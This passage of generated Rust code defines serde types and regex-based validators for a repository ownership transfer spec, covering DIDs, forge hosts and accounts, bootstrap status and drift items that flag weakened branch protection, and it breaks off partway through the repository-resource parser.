//! Generated by `trust-tasks-codegen` — do not edit by hand.
//!
//! Spec slug: `git-ns/repo/transfer`. Version: `0.2`.
#[allow(unused_imports)]
use serde::{Deserialize, Serialize};
/// Error types.
pub mod error {
/// Error from a `TryFrom` or `FromStr` implementation.
pub struct ConversionError(::std::borrow::Cow<'static, str>);
impl ::std::error::Error for ConversionError {}
impl ::std::fmt::Display for ConversionError {
fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> Result<(), ::std::fmt::Error> {
::std::fmt::Display::fmt(&self.0, f)
}
}
impl ::std::fmt::Debug for ConversionError {
fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> Result<(), ::std::fmt::Error> {
::std::fmt::Debug::fmt(&self.0, f)
}
}
impl From<&'static str> for ConversionError {
fn from(value: &'static str) -> Self {
Self(value.into())
}
}
impl From<String> for ConversionError {
fn from(value: String) -> Self {
Self(value.into())
}
}
}
///Whether each step that turns commit trust on for a repository is in place, as last reported. A step that this forge's plan does not need reads `true`.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "Bootstrap",
/// "description": "Whether each step that turns commit trust on for a repository is in place, as last reported. A step that this forge's plan does not need reads `true`.",
/// "type": "object",
/// "required": [
/// "keyring",
/// "requiredCheck",
/// "variables",
/// "workflow"
/// ],
/// "properties": {
/// "keyring": {
/// "description": "The exempt platform keyring for forge-signed merge commits is committed, or the forge's plan does not need one.",
/// "type": "boolean"
/// },
/// "requiredCheck": {
/// "description": "The forge refuses to merge into the default branch unless the verify-trust check passes, with no bypass, and a pull request cannot change what that check runs: an organisation-required workflow, code-owner review of workflow files, or protected workflow paths, as the forge allows.",
/// "type": "boolean"
/// },
/// "variables": {
/// "description": "The repository names the Trust Registry and this VTC as its trust anchors.",
/// "type": "boolean"
/// },
/// "workflow": {
/// "description": "The verify-trust check runs on the repository's pull requests — from a workflow committed to it, or, where the forge supports it, required on it from the namespace's own bridge-managed workflow repository at a pinned commit.",
/// "type": "boolean"
/// }
/// },
/// "additionalProperties": false
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(deny_unknown_fields)]
#[non_exhaustive]
pub struct Bootstrap {
///The exempt platform keyring for forge-signed merge commits is committed, or the forge's plan does not need one.
pub keyring: bool,
///The forge refuses to merge into the default branch unless the verify-trust check passes, with no bypass, and a pull request cannot change what that check runs: an organisation-required workflow, code-owner review of workflow files, or protected workflow paths, as the forge allows.
#[serde(rename = "requiredCheck")]
pub required_check: bool,
///The repository names the Trust Registry and this VTC as its trust anchors.
pub variables: bool,
///The verify-trust check runs on the repository's pull requests — from a workflow committed to it, or, where the forge supports it, required on it from the namespace's own bridge-managed workflow repository at a pinned commit.
pub workflow: bool,
}
impl Bootstrap {
pub fn builder() -> builder::Bootstrap {
Default::default()
}
}
///A bare DID in the W3C DID Core syntax (§3.1): `did:`, a method name of lowercase letters and digits, `:`, and a method-specific id of colon-separated segments drawn from `A-Z a-z 0-9 . - _` and percent-encoded octets, the last segment non-empty. A DID URL is not a DID: no path, query or fragment (`/`, `?`, `#`), so a verification-method id such as `did:key:z6Mk…#z6Mk…` is refused. Compared by exact string equality — no case folding or percent-decoding. A consumer MUST still treat the value as data: the pattern keeps shell metacharacters, whitespace and quotes out of the wire form, but it does not make a DID safe to splice into a command or markup.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "Did",
/// "description": "A bare DID in the W3C DID Core syntax (§3.1): `did:`, a method name of lowercase letters and digits, `:`, and a method-specific id of colon-separated segments drawn from `A-Z a-z 0-9 . - _` and percent-encoded octets, the last segment non-empty. A DID URL is not a DID: no path, query or fragment (`/`, `?`, `#`), so a verification-method id such as `did:key:z6Mk…#z6Mk…` is refused. Compared by exact string equality — no case folding or percent-decoding. A consumer MUST still treat the value as data: the pattern keeps shell metacharacters, whitespace and quotes out of the wire form, but it does not make a DID safe to splice into a command or markup.",
/// "type": "string",
/// "maxLength": 2048,
/// "pattern": "^did:[a-z0-9]+:(?:(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})*:)*(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})+$"
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct Did(::std::string::String);
impl ::std::ops::Deref for Did {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<Did> for ::std::string::String {
fn from(value: Did) -> Self {
value.0
}
}
impl ::std::str::FromStr for Did {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 2048usize {
return Err("longer than 2048 characters".into());
}
static PATTERN: ::std::sync::LazyLock<::regress::Regex> = ::std::sync::LazyLock::new(
|| {
::regress::Regex::new(
"^did:[a-z0-9]+:(?:(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})*:)*(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})+$",
)
.unwrap()
},
);
if PATTERN.find(value).is_none() {
return Err(
"doesn't match pattern \"^did:[a-z0-9]+:(?:(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})*:)*(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})+$\""
.into(),
);
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for Did {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for Did {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for Did {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for Did {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///One difference between the forge's observed state and the VTC's projection of a repository.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "DriftItem",
/// "description": "One difference between the forge's observed state and the VTC's projection of a repository.",
/// "type": "object",
/// "required": [
/// "resource",
/// "type"
/// ],
/// "properties": {
/// "account": {
/// "description": "Whose role differs, for the three role types.",
/// "$ref": "#/definitions/ForgeAccount"
/// },
/// "expected": {
/// "description": "What the projection calls for, in the forge's own vocabulary. Absent when the projection calls for nothing.",
/// "type": "string",
/// "maxLength": 256
/// },
/// "observed": {
/// "description": "What the forge shows, in the forge's own vocabulary (a role name such as `maintain`, a setting name). Absent when nothing is there.",
/// "type": "string",
/// "maxLength": 256
/// },
/// "resource": {
/// "$ref": "#/definitions/RepoResource"
/// },
/// "type": {
/// "description": "`roleAdded` — someone holds a forge role the projection does not give them. `roleRemoved` — a projected role is missing. `roleChanged` — a projected role is present at another level. `requiredCheckMissing` — the verify-trust check is no longer required. `protectionWeakened` — branch protection or a ruleset is weaker than the projection in another way (force-push allowed, bypass actors added). `bootstrapMissing` — a bootstrap file or variable is gone.",
/// "type": "string",
/// "enum": [
/// "roleAdded",
/// "roleRemoved",
/// "roleChanged",
/// "requiredCheckMissing",
/// "protectionWeakened",
/// "bootstrapMissing"
/// ]
/// }
/// },
/// "additionalProperties": false
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(deny_unknown_fields)]
#[non_exhaustive]
pub struct DriftItem {
///Whose role differs, for the three role types.
#[serde(default, skip_serializing_if = "::std::option::Option::is_none")]
pub account: ::std::option::Option<ForgeAccount>,
///What the projection calls for, in the forge's own vocabulary. Absent when the projection calls for nothing.
#[serde(default, skip_serializing_if = "::std::option::Option::is_none")]
pub expected: ::std::option::Option<DriftItemExpected>,
///What the forge shows, in the forge's own vocabulary (a role name such as `maintain`, a setting name). Absent when nothing is there.
#[serde(default, skip_serializing_if = "::std::option::Option::is_none")]
pub observed: ::std::option::Option<DriftItemObserved>,
pub resource: RepoResource,
///`roleAdded` — someone holds a forge role the projection does not give them. `roleRemoved` — a projected role is missing. `roleChanged` — a projected role is present at another level. `requiredCheckMissing` — the verify-trust check is no longer required. `protectionWeakened` — branch protection or a ruleset is weaker than the projection in another way (force-push allowed, bypass actors added). `bootstrapMissing` — a bootstrap file or variable is gone.
#[serde(rename = "type")]
pub type_: DriftItemType,
}
impl DriftItem {
pub fn builder() -> builder::DriftItem {
Default::default()
}
}
///What the projection calls for, in the forge's own vocabulary. Absent when the projection calls for nothing.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "description": "What the projection calls for, in the forge's own vocabulary. Absent when the projection calls for nothing.",
/// "type": "string",
/// "maxLength": 256
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct DriftItemExpected(::std::string::String);
impl ::std::ops::Deref for DriftItemExpected {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<DriftItemExpected> for ::std::string::String {
fn from(value: DriftItemExpected) -> Self {
value.0
}
}
impl ::std::str::FromStr for DriftItemExpected {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 256usize {
return Err("longer than 256 characters".into());
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for DriftItemExpected {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for DriftItemExpected {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for DriftItemExpected {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for DriftItemExpected {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///What the forge shows, in the forge's own vocabulary (a role name such as `maintain`, a setting name). Absent when nothing is there.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "description": "What the forge shows, in the forge's own vocabulary (a role name such as `maintain`, a setting name). Absent when nothing is there.",
/// "type": "string",
/// "maxLength": 256
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct DriftItemObserved(::std::string::String);
impl ::std::ops::Deref for DriftItemObserved {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<DriftItemObserved> for ::std::string::String {
fn from(value: DriftItemObserved) -> Self {
value.0
}
}
impl ::std::str::FromStr for DriftItemObserved {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 256usize {
return Err("longer than 256 characters".into());
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for DriftItemObserved {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for DriftItemObserved {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for DriftItemObserved {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for DriftItemObserved {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///`roleAdded` — someone holds a forge role the projection does not give them. `roleRemoved` — a projected role is missing. `roleChanged` — a projected role is present at another level. `requiredCheckMissing` — the verify-trust check is no longer required. `protectionWeakened` — branch protection or a ruleset is weaker than the projection in another way (force-push allowed, bypass actors added). `bootstrapMissing` — a bootstrap file or variable is gone.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "description": "`roleAdded` — someone holds a forge role the projection does not give them. `roleRemoved` — a projected role is missing. `roleChanged` — a projected role is present at another level. `requiredCheckMissing` — the verify-trust check is no longer required. `protectionWeakened` — branch protection or a ruleset is weaker than the projection in another way (force-push allowed, bypass actors added). `bootstrapMissing` — a bootstrap file or variable is gone.",
/// "type": "string",
/// "enum": [
/// "roleAdded",
/// "roleRemoved",
/// "roleChanged",
/// "requiredCheckMissing",
/// "protectionWeakened",
/// "bootstrapMissing"
/// ]
///}
/// ```
/// </details>
#[derive(
::serde::Deserialize,
::serde::Serialize,
Clone,
Copy,
Debug,
Eq,
Hash,
Ord,
PartialEq,
PartialOrd,
)]
#[non_exhaustive]
pub enum DriftItemType {
#[serde(rename = "roleAdded")]
RoleAdded,
#[serde(rename = "roleRemoved")]
RoleRemoved,
#[serde(rename = "roleChanged")]
RoleChanged,
#[serde(rename = "requiredCheckMissing")]
RequiredCheckMissing,
#[serde(rename = "protectionWeakened")]
ProtectionWeakened,
#[serde(rename = "bootstrapMissing")]
BootstrapMissing,
}
impl ::std::fmt::Display for DriftItemType {
fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result {
match *self {
Self::RoleAdded => f.write_str("roleAdded"),
Self::RoleRemoved => f.write_str("roleRemoved"),
Self::RoleChanged => f.write_str("roleChanged"),
Self::RequiredCheckMissing => f.write_str("requiredCheckMissing"),
Self::ProtectionWeakened => f.write_str("protectionWeakened"),
Self::BootstrapMissing => f.write_str("bootstrapMissing"),
}
}
}
impl ::std::str::FromStr for DriftItemType {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
match value {
"roleAdded" => Ok(Self::RoleAdded),
"roleRemoved" => Ok(Self::RoleRemoved),
"roleChanged" => Ok(Self::RoleChanged),
"requiredCheckMissing" => Ok(Self::RequiredCheckMissing),
"protectionWeakened" => Ok(Self::ProtectionWeakened),
"bootstrapMissing" => Ok(Self::BootstrapMissing),
_ => Err("invalid value".into()),
}
}
}
impl ::std::convert::TryFrom<&str> for DriftItemType {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for DriftItemType {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for DriftItemType {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
///Vendor-namespaced extension object per SPEC.md §4.5.1. Each immediate key MUST be a reverse-DNS namespace; structure under each namespace is opaque to the framework.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "Ext",
/// "description": "Vendor-namespaced extension object per SPEC.md §4.5.1. Each immediate key MUST be a reverse-DNS namespace; structure under each namespace is opaque to the framework.",
/// "type": "object",
/// "minProperties": 1,
/// "additionalProperties": true,
/// "propertyNames": {
/// "pattern": "^[a-z][a-z0-9-]*(\\.[a-z0-9-]+)+$"
/// }
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(transparent)]
pub struct Ext(pub ::std::collections::HashMap<ExtKey, ::serde_json::Value>);
impl ::std::ops::Deref for Ext {
type Target = ::std::collections::HashMap<ExtKey, ::serde_json::Value>;
fn deref(&self) -> &::std::collections::HashMap<ExtKey, ::serde_json::Value> {
&self.0
}
}
impl ::std::convert::From<Ext> for ::std::collections::HashMap<ExtKey, ::serde_json::Value> {
fn from(value: Ext) -> Self {
value.0
}
}
impl ::std::convert::From<::std::collections::HashMap<ExtKey, ::serde_json::Value>> for Ext {
fn from(value: ::std::collections::HashMap<ExtKey, ::serde_json::Value>) -> Self {
Self(value)
}
}
///`ExtKey`
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "type": "string",
/// "pattern": "^[a-z][a-z0-9-]*(\\.[a-z0-9-]+)+$"
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct ExtKey(::std::string::String);
impl ::std::ops::Deref for ExtKey {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<ExtKey> for ::std::string::String {
fn from(value: ExtKey) -> Self {
value.0
}
}
impl ::std::str::FromStr for ExtKey {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
static PATTERN: ::std::sync::LazyLock<::regress::Regex> =
::std::sync::LazyLock::new(|| {
::regress::Regex::new("^[a-z][a-z0-9-]*(\\.[a-z0-9-]+)+$").unwrap()
});
if PATTERN.find(value).is_none() {
return Err("doesn't match pattern \"^[a-z][a-z0-9-]*(\\.[a-z0-9-]+)+$\"".into());
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for ExtKey {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for ExtKey {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for ExtKey {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for ExtKey {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///A person's account on one forge. `id` is authoritative; `login` is for display only, because logins can be renamed and re-registered.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "ForgeAccount",
/// "description": "A person's account on one forge. `id` is authoritative; `login` is for display only, because logins can be renamed and re-registered.",
/// "type": "object",
/// "required": [
/// "forge",
/// "id",
/// "login"
/// ],
/// "properties": {
/// "forge": {
/// "$ref": "#/definitions/ForgeHost"
/// },
/// "id": {
/// "$ref": "#/definitions/ForgeId"
/// },
/// "login": {
/// "description": "The account's current login, as the forge reported it when last seen. Display only.",
/// "type": "string",
/// "maxLength": 100,
/// "minLength": 1
/// }
/// },
/// "additionalProperties": false
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(deny_unknown_fields)]
#[non_exhaustive]
pub struct ForgeAccount {
pub forge: ForgeHost,
pub id: ForgeId,
///The account's current login, as the forge reported it when last seen. Display only.
pub login: ForgeAccountLogin,
}
impl ForgeAccount {
pub fn builder() -> builder::ForgeAccount {
Default::default()
}
}
///The account's current login, as the forge reported it when last seen. Display only.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "description": "The account's current login, as the forge reported it when last seen. Display only.",
/// "type": "string",
/// "maxLength": 100,
/// "minLength": 1
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct ForgeAccountLogin(::std::string::String);
impl ::std::ops::Deref for ForgeAccountLogin {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<ForgeAccountLogin> for ::std::string::String {
fn from(value: ForgeAccountLogin) -> Self {
value.0
}
}
impl ::std::str::FromStr for ForgeAccountLogin {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 100usize {
return Err("longer than 100 characters".into());
}
if value.chars().count() < 1usize {
return Err("shorter than 1 characters".into());
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for ForgeAccountLogin {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for ForgeAccountLogin {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for ForgeAccountLogin {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for ForgeAccountLogin {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///The lowercased DNS host of a forge: `github.com`, a GitHub Enterprise Server host, `codeberg.org`, or a self-hosted Forgejo instance such as `git.example.org`. No scheme, no port, no path. The host is a segment of every resource, so a right never crosses forges.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "ForgeHost",
/// "description": "The lowercased DNS host of a forge: `github.com`, a GitHub Enterprise Server host, `codeberg.org`, or a self-hosted Forgejo instance such as `git.example.org`. No scheme, no port, no path. The host is a segment of every resource, so a right never crosses forges.",
/// "type": "string",
/// "maxLength": 253,
/// "minLength": 3,
/// "pattern": "^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+$"
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct ForgeHost(::std::string::String);
impl ::std::ops::Deref for ForgeHost {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<ForgeHost> for ::std::string::String {
fn from(value: ForgeHost) -> Self {
value.0
}
}
impl ::std::str::FromStr for ForgeHost {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 253usize {
return Err("longer than 253 characters".into());
}
if value.chars().count() < 3usize {
return Err("shorter than 3 characters".into());
}
static PATTERN: ::std::sync::LazyLock<::regress::Regex> =
::std::sync::LazyLock::new(|| {
::regress::Regex::new(
"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+$",
)
.unwrap()
});
if PATTERN.find(value).is_none() {
return Err(
"doesn't match pattern \"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+$\""
.into(),
);
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for ForgeHost {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for ForgeHost {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for ForgeHost {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for ForgeHost {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///An identifier the forge itself assigns — a repository id, a user or organisation id — carried as a string so a forge whose ids are not numbers needs no new version. GitHub and Forgejo ids are decimal integers written as strings (`"812736451"`). Unlike a name, it survives renames and transfers, which is why rights and bindings are keyed by it.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "ForgeId",
/// "description": "An identifier the forge itself assigns — a repository id, a user or organisation id — carried as a string so a forge whose ids are not numbers needs no new version. GitHub and Forgejo ids are decimal integers written as strings (`\"812736451\"`). Unlike a name, it survives renames and transfers, which is why rights and bindings are keyed by it.",
/// "type": "string",
/// "maxLength": 64,
/// "minLength": 1
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct ForgeId(::std::string::String);
impl ::std::ops::Deref for ForgeId {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<ForgeId> for ::std::string::String {
fn from(value: ForgeId) -> Self {
value.0
}
}
impl ::std::str::FromStr for ForgeId {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 64usize {
return Err("longer than 64 characters".into());
}
if value.chars().count() < 1usize {
return Err("shorter than 1 characters".into());
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for ForgeId {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for ForgeId {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for ForgeId {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for ForgeId {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///An owner hands their ownership of a repository to someone else: `to` is recorded as an owner and the caller's own `git.repo.own` record is revoked. Ownership moves between people; the repository stays where it is on the forge.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "$id": "https://trusttasks.org/spec/git-ns/repo/transfer/0.2",
/// "title": "Payload",
/// "description": "An owner hands their ownership of a repository to someone else: `to` is recorded as an owner and the caller's own `git.repo.own` record is revoked. Ownership moves between people; the repository stays where it is on the forge.",
/// "type": "object",
/// "required": [
/// "resource",
/// "to"
/// ],
/// "properties": {
/// "ext": {
/// "$ref": "#/definitions/Ext"
/// },
/// "resource": {
/// "description": "The repository.",
/// "$ref": "#/definitions/RepoResource"
/// },
/// "to": {
/// "description": "Who receives ownership.",
/// "$ref": "#/definitions/Did"
/// }
/// },
/// "additionalProperties": false
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(deny_unknown_fields)]
#[non_exhaustive]
pub struct Payload {
#[serde(default, skip_serializing_if = "::std::option::Option::is_none")]
pub ext: ::std::option::Option<Ext>,
///The repository.
pub resource: RepoResource,
///Who receives ownership.
pub to: Did,
}
impl Payload {
pub fn builder() -> builder::Payload {
Default::default()
}
}
///A forge-qualified resource naming exactly one repository: `<forge-host>/<owner>/<repo>`, lowercase.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "RepoResource",
/// "description": "A forge-qualified resource naming exactly one repository: `<forge-host>/<owner>/<repo>`, lowercase.",
/// "type": "string",
/// "maxLength": 455,
/// "pattern": "^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+/[a-z0-9_-][a-z0-9._-]{0,99}/[a-z0-9_-][a-z0-9._-]{0,99}$"
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct RepoResource(::std::string::String);
impl ::std::ops::Deref for RepoResource {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<RepoResource> for ::std::string::String {
fn from(value: RepoResource) -> Self {
value.0
}
}
impl ::std::str::FromStr for RepoResource {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 455usize {
return Err("longer than 455 characters".into());
}
static PATTERN: ::std::sync::LazyLock<::regress::Regex> = ::std::sync::LazyLock::new(
|| {
::regress::Regex::new(
"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+/[a-z0-9_-][a-z0-9._-]{0,99}/[a-z0-9_-][a-z0-9._-]{0,99}$",
)
.unwrap()
},
);
